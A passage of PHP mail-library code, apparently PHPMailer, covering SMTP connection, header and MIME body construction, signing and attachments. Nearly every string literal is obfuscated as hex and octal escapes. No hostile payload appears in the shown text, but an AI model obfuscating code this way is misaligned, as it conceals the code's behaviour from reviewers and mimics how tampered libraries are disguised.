(!preg_match("\x2f\x5e\x28\50\x73\x73\x6c\174\164\x6c\163\51\x3a\x5c\x2f\x5c\x2f\51\52\x28\133\x61\x2d\172\x41\55\132\x30\x2d\71\134\x2e\55\135\x2a\x7c\134\x5b\133\x61\x2d\x66\101\55\x46\60\x2d\71\x3a\135\53\x5c\x5d\51\72\x3f\50\x5b\x30\x2d\71\x5d\x2a\51\x24\x2f", trim($hostentry), $hostinfo)) { $this->edebug("\x49\147\x6e\157\162\x69\156\x67\x20\151\x6e\x76\141\x6c\151\x64\40\x68\x6f\x73\164\x3a\x20" . $hostentry); continue; } $prefix = ''; $secure = $this->SMTPSecure; $tls = $this->SMTPSecure == "\x74\x6c\x73"; if ("\163\x73\x6c" == $hostinfo[2] or '' == $hostinfo[2] and "\x73\163\x6c" == $this->SMTPSecure) { $prefix = "\163\x73\154\x3a\x2f\57"; $tls = false; $secure = "\x73\163\x6c"; } elseif ($hostinfo[2] == "\x74\x6c\163") { $tls = true; $secure = "\x74\154\163"; } $sslext = defined("\117\120\105\x4e\x53\123\114\137\101\114\107\x4f\x5f\x53\110\x41\x31"); if ("\x74\154\163" === $secure or "\x73\163\154" === $secure) { if (!$sslext) { throw new phpmailerException($this->lang("\145\x78\164\145\156\163\x69\157\x6e\137\155\x69\x73\163\x69\x6e\147") . "\x6f\x70\145\156\163\x73\154", self::STOP_CRITICAL); } } $host = $hostinfo[3]; $port = $this->Port; $tport = (int) $hostinfo[4]; if ($tport > 0 and $tport < 65536) { $port = $tport; } if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo; } else { $hello = $this->serverHostname(); } $this->smtp->hello($hello); if ($this->SMTPAutoTLS and $sslext and $secure != "\163\x73\154" and $this->smtp->getServerExt("\123\124\x41\x52\x54\124\x4c\123")) { $tls = true; } if ($tls) { if (!$this->smtp->startTLS()) { throw new phpmailerException($this->lang("\143\x6f\x6e\156\145\143\164\x5f\x68\x6f\x73\x74")); } $this->smtp->hello($hello); } if ($this->SMTPAuth) { if (!$this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) { throw new phpmailerException($this->lang("\141\x75\164\x68\145\156\x74\x69\x63\141\164\x65")); } } return true; } catch (phpmailerException $exc) { $lastexception = $exc; $this->edebug($exc->getMessage()); $this->smtp->quit(); } } } $this->smtp->close(); if ($this->exceptions and !is_null($lastexception)) { throw $lastexception; } return false; } public function smtpClose() { if (is_a($this->smtp, "\x53\115\124\120")) { if ($this->smtp->connected()) { $this->smtp->quit(); $this->smtp->close(); } } } public function setLanguage($langcode = "\x65\156", $lang_path = '') { $renamed_langcodes = array("\x62\x72" => "\x70\164\x5f\x62\x72", "\143\x7a" => "\x63\x73", "\144\x6b" => "\144\x61", "\156\x6f" => "\x6e\142", "\163\x65" => "\163\166", "\x73\162" => "\x72\x73"); if (isset($renamed_langcodes[$langcode])) { $langcode = $renamed_langcodes[$langcode]; } $PHPMAILER_LANG = array("\141\x75\x74\x68\x65\x6e\164\151\143\x61\x74\x65" => "\x53\x4d\x54\x50\40\105\162\162\157\x72\x3a\x20\x43\x6f\x75\154\x64\x20\156\157\x74\40\141\x75\x74\150\x65\x6e\x74\151\143\x61\164\145\56", "\x63\157\x6e\x6e\x65\143\164\137\150\x6f\163\164" => "\123\115\124\x50\40\x45\x72\162\157\x72\x3a\40\x43\x6f\165\x6c\x64\40\x6e\x6f\164\40\x63\157\156\156\145\x63\164\x20\x74\157\40\x53\115\x54\120\x20\x68\x6f\163\164\x2e", "\144\141\164\x61\x5f\156\157\164\137\141\x63\x63\x65\x70\164\145\144" => "\x53\x4d\x54\120\40\105\162\x72\157\162\72\x20\144\x61\x74\141\40\156\x6f\x74\40\141\143\x63\x65\160\164\x65\x64\x2e", "\x65\155\160\x74\x79\137\x6d\145\163\x73\x61\147\145" => "\x4d\x65\163\163\141\147\x65\x20\x62\x6f\x64\x79\x20\145\155\x70\x74\x79", "\145\156\x63\157\x64\151\x6e\x67" => "\x55\x6e\153\x6e\x6f\x77\156\x20\145\156\x63\157\144\x69\156\x67\72\x20", "\x65\170\145\143\165\x74\x65" => "\x43\157\x75\154\x64\40\156\x6f\x74\x20\145\170\x65\143\x75\x74\145\72\x20", "\x66\151\154\x65\137\x61\x63\x63\x65\x73\x73" => "\103\x6f\165\x6c\144\40\156\157\x74\x20\x61\143\143\x65\x73\163\40\146\151\154\x65\x3a\x20", "\146\x69\154\x65\137\157\x70\145\x6e" => "\106\x69\x6c\x65\40\x45\x72\x72\157\162\72\40\103\157\165\154\144\40\x6e\x6f\164\x20\157\160\x65\156\40\x66\151\154\x65\72\40", "\146\x72\157\x6d\137\146\141\x69\154\x65\144" => "\124\150\x65\40\146\157\154\154\x6f\x77\x69\x6e\147\40\106\162\157\155\x20\x61\x64\144\x72\145\x73\163\40\x66\141\151\x6c\x65\144\72\40", "\x69\156\163\164\x61\156\164\151\141\164\145" => "\103\157\x75\x6c\144\40\156\157\x74\x20\151\x6e\163\164\x61\x6e\164\x69\x61\164\x65\x20\x6d\141\151\154\x20\x66\x75\x6e\143\164\151\157\x6e\56", "\x69\156\x76\141\154\151\144\x5f\x61\x64\144\162\145\x73\163" => "\x49\x6e\166\x61\154\151\144\40\141\x64\144\x72\145\163\x73\72\40", "\x6d\x61\151\154\145\x72\137\x6e\157\x74\x5f\x73\x75\x70\160\x6f\162\x74\145\144" => "\40\x6d\141\151\154\x65\x72\40\151\x73\40\156\x6f\x74\x20\163\165\160\x70\157\x72\x74\145\144\56", "\160\162\x6f\166\151\x64\x65\x5f\x61\144\x64\x72\145\163\x73" => "\x59\157\165\40\155\165\x73\164\x20\160\162\157\x76\x69\x64\145\x20\x61\x74\40\x6c\x65\141\x73\x74\x20\157\x6e\145\x20\x72\x65\143\x69\160\151\x65\156\x74\x20\145\155\x61\x69\154\40\141\144\x64\162\145\x73\x73\x2e", "\162\145\x63\151\x70\x69\145\x6e\x74\163\x5f\146\141\151\154\145\144" => "\123\115\x54\x50\x20\x45\162\162\x6f\162\72\40\x54\150\145\40\146\157\154\x6c\157\167\151\x6e\x67\x20\x72\145\x63\x69\160\151\x65\156\x74\x73\40\146\x61\x69\154\x65\144\72\x20", "\163\151\147\x6e\151\156\x67" => "\x53\151\x67\156\x69\156\x67\x20\x45\162\x72\x6f\x72\72\x20", "\x73\155\x74\x70\137\143\157\x6e\156\145\x63\164\137\x66\x61\x69\154\145\x64" => "\123\115\124\x50\40\143\157\x6e\156\x65\143\164\x28\x29\40\146\141\x69\x6c\x65\144\56", "\x73\x6d\x74\160\x5f\x65\x72\162\157\x72" => "\x53\115\124\x50\40\163\145\162\166\x65\x72\40\145\162\162\157\x72\x3a\40", "\166\x61\x72\x69\x61\142\x6c\145\x5f\163\x65\164" => "\103\x61\156\156\x6f\x74\40\163\x65\164\x20\157\x72\x20\x72\x65\x73\145\x74\40\x76\141\162\x69\x61\142\154\x65\x3a\x20", "\145\170\164\145\156\x73\x69\157\156\137\x6d\x69\x73\163\x69\x6e\x67" => "\x45\170\164\x65\x6e\x73\151\x6f\156\x20\155\151\x73\163\x69\x6e\147\x3a\40"); if (empty($lang_path)) { $lang_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . "\154\141\x6e\147\x75\141\x67\145" . DIRECTORY_SEPARATOR; } if (!preg_match("\x2f\136\x5b\x61\55\x7a\x5d\x7b\x32\x7d\x28\77\x3a\x5f\x5b\x61\x2d\x7a\x41\55\132\135\x7b\62\175\x29\77\44\57", $langcode)) { $langcode = "\145\x6e"; } $foundlang = true; $lang_file = $lang_path . "\160\150\x70\155\x61\x69\x6c\145\162\x2e\x6c\141\156\x67\55" . $langcode . "\x2e\x70\150\x70"; if ($langcode != "\x65\156") { if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) { $foundlang = false; } else { $foundlang = (include $lang_file); } } $this->language = $PHPMAILER_LANG; return (bool) $foundlang; } public function getTranslations() { return $this->language; } public function addrAppend($type, $addr) { $addresses = array(); foreach ($addr as $address) { $addresses[] = $this->addrFormat($address); } return $type . "\72\40" . implode("\x2c\40", $addresses) . $this->LE; } public function addrFormat($addr) { if (empty($addr[1])) { return $this->secureHeader($addr[0]); } else { return $this->encodeHeader($this->secureHeader($addr[1]), "\x70\x68\162\x61\x73\145") . "\40\x3c" . $this->secureHeader($addr[0]) . "\76"; } } public function wrapText($message, $length, $qp_mode = false) { if ($qp_mode) { $soft_break = sprintf("\40\75\45\x73", $this->LE); } else { $soft_break = $this->LE; } $is_utf8 = strtolower($this->CharSet) == "\165\x74\146\x2d\70"; $lelen = strlen($this->LE); $crlflen = strlen(self::CRLF); $message = $this->fixEOL($message); if (substr($message, -$lelen) == $this->LE) { $message = substr($message, 0, -$lelen); } $lines = explode($this->LE, $message); $message = ''; foreach ($lines as $line) { $words = explode("\x20", $line); $buf = ''; $firstword = true; foreach ($words as $word) { if ($qp_mode and strlen($word) > $length) { $space_left = $length - strlen($buf) - $crlflen; if (!$firstword) { if ($space_left > 20) { $len = $space_left; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == "\75") { $len--; } elseif (substr($word, $len - 2, 1) == "\x3d") { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); $buf .= "\40" . $part; $message .= $buf . sprintf("\x3d\x25\163", self::CRLF); } else { $message .= $buf . $soft_break; } $buf = ''; } while (strlen($word) > 0) { if ($length <= 0) { break; } $len = $length; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == "\x3d") { $len--; } elseif (substr($word, $len - 2, 1) == "\x3d") { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); if (strlen($word) > 0) { $message .= $part . sprintf("\x3d\x25\163", self::CRLF); } else { $buf = $part; } } } else { $buf_o = $buf; if (!$firstword) { $buf .= "\40"; } $buf .= $word; if (strlen($buf) > $length and $buf_o != '') { $message .= $buf_o . $soft_break; $buf = $word; } } $firstword = false; } $message .= $buf . self::CRLF; } return $message; } public function utf8CharBoundary($encodedText, $maxLength) { $foundSplitPos = false; $lookBack = 3; while (!$foundSplitPos) { $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); $encodedCharPos = strpos($lastChunk, "\75"); if (false !== $encodedCharPos) { $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); $dec = hexdec($hex); if ($dec < 128) { if ($encodedCharPos > 0) { $maxLength = $maxLength - ($lookBack - $encodedCharPos); } $foundSplitPos = true; } elseif ($dec >= 192) { $maxLength = $maxLength - ($lookBack - $encodedCharPos); $foundSplitPos = true; } elseif ($dec < 192) { $lookBack += 3; } } else { $foundSplitPos = true; } } return $maxLength; } public function setWordWrap() { if ($this->WordWrap < 1) { return; } switch ($this->message_type) { case "\x61\154\164": case "\141\154\x74\137\151\156\x6c\x69\x6e\x65": case "\141\154\164\137\x61\164\164\x61\143\150": case "\x61\x6c\x74\137\151\x6e\x6c\151\x6e\x65\137\141\164\164\141\x63\x68": $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); break; default: $this->Body = $this->wrapText($this->Body, $this->WordWrap); break; } } public function createHeader() { $result = ''; $result .= $this->headerLine("\104\141\x74\145", $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate); if ($this->SingleTo) { if ($this->Mailer != "\155\141\x69\154") { foreach ($this->to as $toaddr) { $this->SingleToArray[] = $this->addrFormat($toaddr); } } } else { if (count($this->to) > 0) { if ($this->Mailer != "\155\141\151\x6c") { $result .= $this->addrAppend("\x54\x6f", $this->to); } } elseif (count($this->cc) == 0) { $result .= $this->headerLine("\x54\157", "\x75\x6e\144\x69\163\x63\x6c\x6f\163\x65\144\55\162\x65\143\151\160\151\145\156\164\x73\x3a\x3b"); } } $result .= $this->addrAppend("\106\x72\x6f\x6d", array(array(trim($this->From), $this->FromName))); if (count($this->cc) > 0) { $result .= $this->addrAppend("\x43\143", $this->cc); } if (($this->Mailer == "\163\x65\156\144\x6d\141\x69\x6c" or $this->Mailer == "\161\x6d\141\x69\154" or $this->Mailer == "\x6d\141\x69\x6c") and count($this->bcc) > 0) { $result .= $this->addrAppend("\x42\143\143", $this->bcc); } if (count($this->ReplyTo) > 0) { $result .= $this->addrAppend("\x52\145\160\x6c\171\55\x54\157", $this->ReplyTo); } if ($this->Mailer != "\x6d\141\151\154") { $result .= $this->headerLine("\123\165\x62\152\x65\143\164", $this->encodeHeader($this->secureHeader($this->Subject))); } if ('' != $this->MessageID and preg_match("\x2f\x5e\x3c\56\x2a\100\x2e\x2a\76\x24\x2f", $this->MessageID)) { $this->lastMessageID = $this->MessageID; } else { $this->lastMessageID = sprintf("\x3c\x25\163\100\x25\163\x3e", $this->uniqueid, $this->serverHostname()); } $result .= $this->headerLine("\x4d\x65\x73\163\141\x67\145\x2d\x49\104", $this->lastMessageID); if (!is_null($this->Priority)) { $result .= $this->headerLine("\130\x2d\120\x72\x69\x6f\162\x69\x74\171", $this->Priority); } if ($this->XMailer == '') { $result .= $this->headerLine("\130\55\115\141\151\x6c\x65\162", "\120\x48\120\x4d\x61\x69\x6c\x65\x72\40" . $this->Version . "\40\x28\150\164\x74\x70\163\72\57\x2f\x67\x69\x74\150\165\142\x2e\143\157\155\57\x50\x48\120\x4d\141\x69\x6c\145\x72\x2f\120\110\120\x4d\x61\x69\154\x65\x72\51"); } else { $myXmailer = trim($this->XMailer); if ($myXmailer) { $result .= $this->headerLine("\130\55\115\141\151\x6c\145\162", $myXmailer); } } if ($this->ConfirmReadingTo != '') { $result .= $this->headerLine("\x44\x69\163\x70\x6f\163\151\x74\151\x6f\x6e\55\116\x6f\164\151\x66\x69\x63\141\x74\151\157\156\55\x54\x6f", "\x3c" . $this->ConfirmReadingTo . "\x3e"); } foreach ($this->CustomHeader as $header) { $result .= $this->headerLine(trim($header[0]), $this->encodeHeader(trim($header[1]))); } if (!$this->sign_key_file) { $result .= $this->headerLine("\x4d\x49\115\105\55\126\145\x72\163\x69\157\x6e", "\x31\56\60"); $result .= $this->getMailMIME(); } return $result; } public function getMailMIME() { $result = ''; $ismultipart = true; switch ($this->message_type) { case "\x69\156\154\151\x6e\x65": $result .= $this->headerLine("\x43\157\156\x74\145\156\x74\x2d\124\171\x70\x65", "\155\165\154\x74\151\160\141\162\164\x2f\x72\145\x6c\141\x74\x65\x64\x3b"); $result .= $this->textLine("\11\x62\157\x75\156\144\141\162\171\x3d\42" . $this->boundary[1] . "\42"); break; case "\141\x74\164\x61\143\x68": case "\151\x6e\154\151\156\x65\x5f\141\164\164\x61\x63\x68": case "\141\154\164\137\141\164\164\141\143\150": case "\141\x6c\x74\137\151\156\x6c\151\156\x65\137\x61\x74\164\141\143\x68": $result .= $this->headerLine("\x43\x6f\156\x74\x65\156\x74\55\x54\x79\x70\x65", "\155\165\x6c\x74\151\x70\141\162\x74\x2f\155\x69\170\145\x64\73"); $result .= $this->textLine("\11\x62\x6f\165\x6e\144\x61\x72\x79\75\x22" . $this->boundary[1] . "\x22"); break; case "\141\x6c\164": case "\141\154\164\137\x69\156\154\151\156\x65": $result .= $this->headerLine("\103\157\x6e\164\x65\156\x74\x2d\124\x79\x70\x65", "\155\x75\154\164\x69\x70\141\x72\x74\x2f\141\154\x74\x65\x72\156\x61\164\151\166\145\x3b"); $result .= $this->textLine("\x9\142\157\165\156\x64\141\x72\x79\x3d\x22" . $this->boundary[1] . "\42"); break; default: $result .= $this->textLine("\103\x6f\x6e\x74\x65\156\164\55\124\x79\x70\x65\x3a\40" . $this->ContentType . "\x3b\x20\x63\150\141\x72\163\145\164\75" . $this->CharSet); $ismultipart = false; break; } if ($this->Encoding != "\x37\x62\151\x74") { if ($ismultipart) { if ($this->Encoding == "\x38\x62\151\164") { $result .= $this->headerLine("\103\157\156\164\x65\x6e\x74\x2d\x54\162\141\156\x73\146\145\162\x2d\x45\x6e\x63\157\144\x69\156\147", "\x38\142\x69\164"); } } else { $result .= $this->headerLine("\103\x6f\x6e\x74\x65\x6e\x74\x2d\x54\162\x61\x6e\163\x66\x65\x72\55\105\156\143\157\144\x69\x6e\147", $this->Encoding); } } if ($this->Mailer != "\x6d\x61\151\x6c") { $result .= $this->LE; } return $result; } public function getSentMIMEMessage() { return rtrim($this->MIMEHeader . $this->mailHeader, "\xa\xd") . self::CRLF . self::CRLF . $this->MIMEBody; } protected function generateId() { return md5(uniqid(time())); } public function createBody() { $body = ''; $this->uniqueid = $this->generateId(); $this->boundary[1] = "\x62\x31\137" . $this->uniqueid; $this->boundary[2] = "\142\62\x5f" . $this->uniqueid; $this->boundary[3] = "\x62\63\137" . $this->uniqueid; if ($this->sign_key_file) { $body .= $this->getMailMIME() . $this->LE; } $this->setWordWrap(); $bodyEncoding = $this->Encoding; $bodyCharSet = $this->CharSet; if ($bodyEncoding == "\70\142\x69\x74" and !$this->has8bitChars($this->Body)) { $bodyEncoding = "\x37\x62\151\164"; $bodyCharSet = "\165\x73\55\141\163\x63\x69\151"; } if ("\142\141\x73\145\66\x34" != $this->Encoding and self::hasLineLongerThanMax($this->Body)) { $bodyEncoding = "\x71\x75\x6f\x74\145\144\55\160\162\151\x6e\164\141\142\154\145"; } $altBodyEncoding = $this->Encoding; $altBodyCharSet = $this->CharSet; if ($altBodyEncoding == "\70\142\x69\x74" and !$this->has8bitChars($this->AltBody)) { $altBodyEncoding = "\67\x62\151\164"; $altBodyCharSet = "\x75\x73\55\141\163\143\x69\151"; } if ("\x62\x61\163\x65\66\64" != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) { $altBodyEncoding = "\x71\x75\x6f\x74\x65\144\55\x70\162\151\x6e\164\x61\142\154\145"; } $mimepre = "\124\150\151\x73\x20\x69\163\x20\x61\x20\x6d\x75\154\164\151\x2d\160\x61\x72\x74\x20\155\145\x73\163\x61\147\x65\40\x69\156\x20\115\111\115\x45\40\x66\157\162\155\141\164\56" . $this->LE . $this->LE; switch ($this->message_type) { case "\151\x6e\154\x69\x6e\145": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("\151\x6e\x6c\x69\x6e\145", $this->boundary[1]); break; case "\x61\x74\x74\x61\143\x68": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("\141\x74\164\x61\143\x68\x6d\145\156\x74", $this->boundary[1]); break; case "\151\156\154\151\156\145\137\141\x74\164\141\143\150": $body .= $mimepre; $body .= $this->textLine("\55\x2d" . $this->boundary[1]); $body .= $this->headerLine("\x43\157\156\x74\x65\156\x74\55\124\x79\x70\x65", "\x6d\165\x6c\x74\x69\160\141\x72\164\57\162\x65\154\141\164\145\x64\x3b"); $body .= $this->textLine("\11\x62\157\165\156\x64\x61\x72\x79\x3d\x22" . $this->boundary[2] . "\x22"); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("\x69\156\x6c\151\x6e\145", $this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll("\x61\x74\x74\x61\x63\x68\155\145\x6e\164", $this->boundary[1]); break; case "\141\154\x74": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, "\164\x65\170\x74\x2f\160\154\141\151\x6e", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, "\x74\x65\170\x74\x2f\x68\x74\155\x6c", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; if (!empty($this->Ical)) { $body .= $this->getBoundary($this->boundary[1], '', "\x74\x65\x78\164\x2f\x63\141\154\x65\156\x64\x61\162\73\40\x6d\145\164\x68\x6f\x64\75\122\x45\x51\125\105\x53\124", ''); $body .= $this->encodeString($this->Ical, $this->Encoding); $body .= $this->LE . $this->LE; } $body .= $this->endBoundary($this->boundary[1]); break; case "\x61\x6c\164\137\x69\x6e\x6c\151\x6e\x65": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, "\x74\145\x78\x74\x2f\160\154\141\151\156", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->textLine("\x2d\x2d" . $this->boundary[1]); $body .= $this->headerLine("\x43\x6f\156\x74\145\x6e\x74\55\x54\x79\160\x65", "\155\165\x6c\164\x69\x70\141\162\x74\57\162\145\154\141\164\x65\144\x3b"); $body .= $this->textLine("\11\x62\x6f\x75\x6e\144\141\x72\x79\x3d\42" . $this->boundary[2] . "\x22"); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, "\164\x65\170\164\x2f\150\x74\x6d\154", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("\x69\x6e\154\x69\156\x65", $this->boundary[2]); $body .= $this->LE; $body .= $this->endBoundary($this->boundary[1]); break; case "\x61\x6c\164\137\141\x74\x74\x61\x63\x68": $body .= $mimepre; $body .= $this->textLine("\55\55" . $this->boundary[1]); $body .= $this->headerLine("\103\x6f\156\164\x65\x6e\164\55\x54\x79\160\145", "\155\x75\154\164\x69\160\141\162\x74\57\141\x6c\164\x65\162\x6e\141\164\x69\166\x65\73"); $body .= $this->textLine("\x9\x62\157\x75\x6e\x64\x61\162\171\75\42" . $this->boundary[2] . "\42"); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, "\x74\145\x78\x74\x2f\160\154\141\151\x6e", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, "\164\x65\x78\x74\x2f\x68\x74\x6d\154", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->endBoundary($this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll("\x61\164\x74\141\x63\x68\x6d\x65\x6e\x74", $this->boundary[1]); break; case "\x61\x6c\x74\137\x69\x6e\x6c\151\x6e\145\137\141\164\164\x61\143\x68": $body .= $mimepre; $body .= $this->textLine("\55\55" . $this->boundary[1]); $body .= $this->headerLine("\x43\157\156\x74\145\156\164\55\x54\x79\x70\145", "\x6d\x75\154\x74\x69\160\x61\162\164\x2f\x61\154\x74\145\162\x6e\141\164\151\x76\145\73"); $body .= $this->textLine("\11\x62\x6f\165\x6e\x64\x61\162\x79\75\42" . $this->boundary[2] . "\42"); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, "\164\x65\170\x74\x2f\160\154\x61\151\156", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->textLine("\55\55" . $this->boundary[2]); $body .= $this->headerLine("\103\x6f\156\x74\145\156\164\55\124\x79\x70\x65", "\155\165\x6c\164\x69\x70\x61\162\x74\57\162\145\154\x61\164\x65\144\x3b"); $body .= $this->textLine("\11\x62\157\x75\156\x64\141\162\x79\x3d\42" . $this->boundary[3] . "\x22"); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, "\164\145\170\x74\57\x68\164\x6d\x6c", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("\x69\156\154\151\x6e\145", $this->boundary[3]); $body .= $this->LE; $body .= $this->endBoundary($this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll("\x61\x74\164\141\x63\x68\x6d\145\x6e\164", $this->boundary[1]); break; default: $this->Encoding = $bodyEncoding; $body .= $this->encodeString($this->Body, $this->Encoding); break; } if ($this->isError()) { $body = ''; } elseif ($this->sign_key_file) { try { if (!defined("\x50\x4b\x43\123\x37\137\124\105\x58\124")) { throw new phpmailerException($this->lang("\145\x78\x74\145\156\x73\x69\157\156\137\x6d\151\163\x73\151\156\x67") . "\x6f\x70\145\x6e\163\x73\x6c"); } $file = tempnam(sys_get_temp_dir(), "\x6d\141\151\154"); if (false === file_put_contents($file, $body)) { throw new phpmailerException($this->lang("\163\x69\147\156\x69\156\147") . "\x20\103\x6f\x75\x6c\144\x20\x6e\157\164\40\x77\162\151\x74\x65\40\x74\x65\155\160\x20\x66\x69\154\x65"); } $signed = tempnam(sys_get_temp_dir(), "\x73\x69\x67\x6e\145\144"); if (empty($this->sign_extracerts_file)) { $sign = @openssl_pkcs7_sign($file, $signed, "\146\151\154\145\72\57\57" . realpath($this->sign_cert_file), array("\146\151\x6c\x65\x3a\x2f\57" . realpath($this->sign_key_file), $this->sign_key_pass), null); } else { $sign = @openssl_pkcs7_sign($file, $signed, "\x66\x69\154\145\72\x2f\57" . realpath($this->sign_cert_file), array("\146\151\x6c\145\72\x2f\x2f" . realpath($this->sign_key_file), $this->sign_key_pass), null, PKCS7_DETACHED, $this->sign_extracerts_file); } if ($sign) { @unlink($file); $body = file_get_contents($signed); @unlink($signed); $parts = explode("\xa\12", $body, 2); $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE; $body = $parts[1]; } else { @unlink($file); @unlink($signed); throw new phpmailerException($this->lang("\163\x69\x67\x6e\x69\156\x67") . openssl_error_string()); } } catch (phpmailerException $exc) { $body = ''; if ($this->exceptions) { throw $exc; } } } return $body; } protected function getBoundary($boundary, $charSet, $contentType, $encoding) { $result = ''; if ($charSet == '') { $charSet = $this->CharSet; } if ($contentType == '') { $contentType = $this->ContentType; } if ($encoding == '') { $encoding = $this->Encoding; } $result .= $this->textLine("\55\55" . $boundary); $result .= sprintf("\x43\157\156\164\x65\156\x74\x2d\x54\x79\x70\x65\x3a\40\x25\163\x3b\x20\143\x68\141\x72\x73\145\x74\x3d\45\x73", $contentType, $charSet); $result .= $this->LE; if ($encoding != "\x37\x62\x69\164") { $result .= $this->headerLine("\103\157\156\164\x65\156\164\55\124\162\141\x6e\163\x66\x65\x72\55\105\156\143\x6f\x64\x69\156\x67", $encoding); } $result .= $this->LE; return $result; } protected function endBoundary($boundary) { return $this->LE . "\x2d\x2d" . $boundary . "\55\55" . $this->LE; } protected function setMessageType() { $type = array(); if ($this->alternativeExists()) { $type[] = "\141\x6c\164"; } if ($this->inlineImageExists()) { $type[] = "\151\156\x6c\x69\156\x65"; } if ($this->attachmentExists()) { $type[] = "\x61\x74\164\141\x63\x68"; } $this->message_type = implode("\x5f", $type); if ($this->message_type == '') { $this->message_type = "\x70\x6c\141\x69\156"; } } public function headerLine($name, $value) { return $name . "\x3a\40" . $value . $this->LE; } public function textLine($value) { return $value . $this->LE; } public function addAttachment($path, $name = '', $encoding = "\142\x61\x73\x65\66\64", $type = '', $disposition = "\x61\x74\164\x61\x63\150\155\x65\156\x74") { try { if (!self::isPermittedPath($path) or !@is_file($path)) { throw new phpmailerException($this->lang("\x66\x69\154\x65\137\x61\143\x63\x65\163\163") . $path, self::STOP_CONTINUE); } if ($type == '') { $type = self::filenameToType($path); } $filename = basename($path); if ($name == '') { $name = $filename; } $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => 0); } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } public function getAttachments() { return $this->attachment; } protected function attachAll($disposition_type, $boundary) { $mime = array(); $cidUniq = array(); $incl = array(); foreach ($this->attachment as $attachment) { if ($attachment[6] == $disposition_type) { $string = ''; $path = ''; $bString = $attachment[5]; if ($bString) { $string = $attachment[0]; } else { $path = $attachment[0]; } $inclhash = md5(serialize($attachment)); if (in_array($inclhash, $incl)) { continue; } $incl[] = $inclhash; $name = $attachment[2]; $encoding = $attachment[3]; $type = $attachment[4]; $disposition = $attachment[6]; $cid = $attachment[7]; if ($disposition == "\151\156\x6c\x69\156\x65" && array_key_exists($cid, $cidUniq)) { continue; } $cidUniq[$cid] = true; $mime[] = sprintf("\x2d\x2d\45\x73\45\x73", $boundary, $this->LE); if (!empty($name)) { $mime[] = sprintf("\x43\x6f\156\x74\x65\156\x74\x2d\124\x79\160\145\72\x20\45\x73\73\x20\156\141\x6d\145\x3d\42\x25\x73\x22\45\x73", $type, $this->encodeHeader($this->secureHeader($name)), $this->LE); } else { $mime[] = sprintf("\x43\157\x6e\x74\x65\156\164\x2d\124\x79\160\145\x3a\40\45\x73\x25\163", $type, $this->LE); } if ($encoding != "\67\x62\151\x74") { $mime[] = sprintf("\103\157\156\x74\145\x6e\x74\55\x54\162\141\x6e\163\146\145\x72\55\105\x6e\x63\157\x64\x69\156\x67\x3a\x20\x25\163\45\x73", $encoding, $this->LE); } if ($disposition == "\151\156\154\151\156\145") { $mime[] = sprintf("\x43\x6f\x6e\x74\x65\156\164\x2d\x49\104\x3a\40\74\45\163\76\x25\x73", $cid, $this->LE); } if (!empty($disposition)) { $encoded_name = $this->encodeHeader($this->secureHeader($name)); if (preg_match("\x2f\133\x20\x5c\x28\x5c\51\74\76\x40\x2c\73\x3a\134\x22\134\x2f\134\x5b\x5c\x5d\134\x3f\x3d\x5d\57", $encoded_name)) { $mime[] = 